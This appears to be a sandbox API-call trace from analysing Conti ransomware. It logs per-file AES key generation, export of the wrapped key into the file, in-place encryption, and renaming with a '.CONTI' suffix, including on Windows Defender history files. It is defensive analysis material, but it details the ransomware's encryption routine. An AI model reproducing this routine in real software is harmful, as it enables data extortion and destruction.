	[0114.694] ReadFile (in: hFile=0x3dc, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x8a8, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x8a8, lpOverlapped=0x0) returned 1
	[0114.694] CryptEncrypt (in: hKey=0x6b7f178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x8a8, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x8b0) returned 1
	[0114.694] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.694] WriteFile (in: hFile=0x3dc, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x8b0, lpOverlapped=0x0) returned 1
	[0114.694] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.694] WriteFile (in: hFile=0x3dc, lpBuffer=0x65d4be0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x65d4be0*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0114.694] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.694] CloseHandle (hObject=0x3dc) returned 1
	[0114.694] GetProcessHeap () returned 0x1720000
	[0114.694] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0114.694] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml"
	[0114.695] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.CONTI"
	[0114.695] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.conti")) returned 1
	[0114.695] GetProcessHeap () returned 0x1720000
	[0114.695] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0114.695] CryptDestroyKey (hKey=0x6b7f178) returned 1
	[0114.695] GetProcessHeap () returned 0x1720000
	[0114.695] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65117e8 | out: hHeap=0x1720000) returned 1
	[0114.695] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0114.695] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x65d5508 | out: phKey=0x65d5508*=0x6b7f478) returned 1
	[0114.695] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d550c, pdwDataLen=0x3cffb14 | out: pbData=0x65d550c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0114.696] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\masterdatastore.xml")) returned 0x20
	[0114.696] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0114.696] GetLastError () returned 0x0
	[0114.696] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=271) returned 1
	[0114.697] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10f
	[0114.697] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.697] SetEndOfFile (hFile=0x3dc) returned 1
	[0114.697] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.697] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.697] WriteFile (in: hFile=0x3dc, lpBuffer=0x65d550c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x65d550c*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0114.699] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.699] ReadFile (in: hFile=0x3dc, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x10f, lpOverlapped=0x0) returned 1
	[0114.700] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x10f, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x110) returned 1
	[0114.700] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.700] WriteFile (in: hFile=0x3dc, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x110, lpOverlapped=0x0) returned 1
	[0114.700] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.700] WriteFile (in: hFile=0x3dc, lpBuffer=0x65d5500*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x65d5500*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0114.700] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.700] CloseHandle (hObject=0x3dc) returned 1
	[0114.700] GetProcessHeap () returned 0x1720000
	[0114.700] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0114.700] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml"
	[0114.700] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml.CONTI"
	[0114.700] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\masterdatastore.xml.conti")) returned 1
	[0114.701] GetProcessHeap () returned 0x1720000
	[0114.701] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0114.701] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0114.701] GetProcessHeap () returned 0x1720000
	[0114.701] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d168 | out: hHeap=0x1720000) returned 1
	[0114.701] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0114.701] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x65d4510 | out: phKey=0x65d4510*=0x6b7f178) returned 1
	[0114.701] CryptExportKey (in: hKey=0x6b7f178, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d4514, pdwDataLen=0x3cffb14 | out: pbData=0x65d4514*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0114.702] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20
	[0114.702] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0114.702] GetLastError () returned 0x0
	[0114.702] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=1842) returned 1
	[0114.702] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x732
	[0114.702] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.702] SetEndOfFile (hFile=0x3dc) returned 1
	[0114.702] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.702] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.703] WriteFile (in: hFile=0x3dc, lpBuffer=0x65d4514*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x65d4514*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0115.268] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.268] ReadFile (in: hFile=0x3dc, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x732, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x732, lpOverlapped=0x0) returned 1
	[0115.268] CryptEncrypt (in: hKey=0x6b7f178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x732, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x740) returned 1
	[0115.269] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.269] WriteFile (in: hFile=0x3dc, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x740, lpOverlapped=0x0) returned 1
	[0115.317] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.317] WriteFile (in: hFile=0x3dc, lpBuffer=0x65d4508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x65d4508*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0115.317] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.318] CloseHandle (hObject=0x3dc) returned 1
	[0115.318] GetProcessHeap () returned 0x1720000
	[0115.318] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.318] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml"
	[0115.324] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI"
	[0115.324] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime\\0__power_policy.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime\\0__power_policy.provxml.conti")) returned 1
	[0115.340] GetProcessHeap () returned 0x1720000
	[0115.340] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0115.340] CryptDestroyKey (hKey=0x6b7f178) returned 1
	[0115.340] GetProcessHeap () returned 0x1720000
	[0115.340] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ca930 | out: hHeap=0x1720000) returned 1
	[0115.340] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0115.340] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b42510 | out: phKey=0x6b42510*=0x6b7f438) returned 1
	[0115.340] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b42514, pdwDataLen=0x3cffb14 | out: pbData=0x6b42514*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0115.341] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\01\\271" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\01\\271")) returned 0x20
	[0115.341] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\01\\271" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\01\\271"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0115.342] GetLastError () returned 0x0
	[0115.342] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=136) returned 1
	[0115.342] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x88
	[0115.342] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.342] SetEndOfFile (hFile=0x418) returned 1
	[0115.342] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.342] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.342] WriteFile (in: hFile=0x418, lpBuffer=0x6b42514*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x6b42514*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0115.343] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.343] ReadFile (in: hFile=0x418, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x88, lpOverlapped=0x0) returned 1
	[0115.343] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x88, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x90) returned 1
	[0115.344] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.344] WriteFile (in: hFile=0x418, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x90, lpOverlapped=0x0) returned 1
	[0115.344] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.344] WriteFile (in: hFile=0x418, lpBuffer=0x6b42508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x6b42508*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0115.344] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.344] CloseHandle (hObject=0x418) returned 1
	[0115.344] GetProcessHeap () returned 0x1720000
	[0115.344] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.344] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\01\\271" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\01\\271") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\01\\271"
	[0115.344] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\01\\271", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\01\\271.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\01\\271.CONTI"
	[0115.344] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\01\\271" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\01\\271"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\01\\271.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\01\\271.conti")) returned 1
	[0115.345] GetProcessHeap () returned 0x1720000
	[0115.345] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0115.345] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0115.345] GetProcessHeap () returned 0x1720000
	[0115.345] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e618 | out: hHeap=0x1720000) returned 1
	[0115.345] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0115.345] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b429a0 | out: phKey=0x6b429a0*=0x6b7f538) returned 1
	[0115.345] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b429a4, pdwDataLen=0x3cffb14 | out: pbData=0x6b429a4*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0115.346] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\02\\109004" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\02\\109004")) returned 0x20
	[0115.346] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\02\\109004" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\02\\109004"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0115.347] GetLastError () returned 0x0
	[0115.347] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=136) returned 1
	[0115.347] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x88
	[0115.347] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.347] SetEndOfFile (hFile=0x418) returned 1
	[0115.347] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.347] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.347] WriteFile (in: hFile=0x418, lpBuffer=0x6b429a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x6b429a4*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0115.348] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.348] ReadFile (in: hFile=0x418, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x88, lpOverlapped=0x0) returned 1
	[0115.348] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x88, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x90) returned 1
	[0115.348] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.348] WriteFile (in: hFile=0x418, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x90, lpOverlapped=0x0) returned 1
	[0115.349] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.349] WriteFile (in: hFile=0x418, lpBuffer=0x6b42998*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x6b42998*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
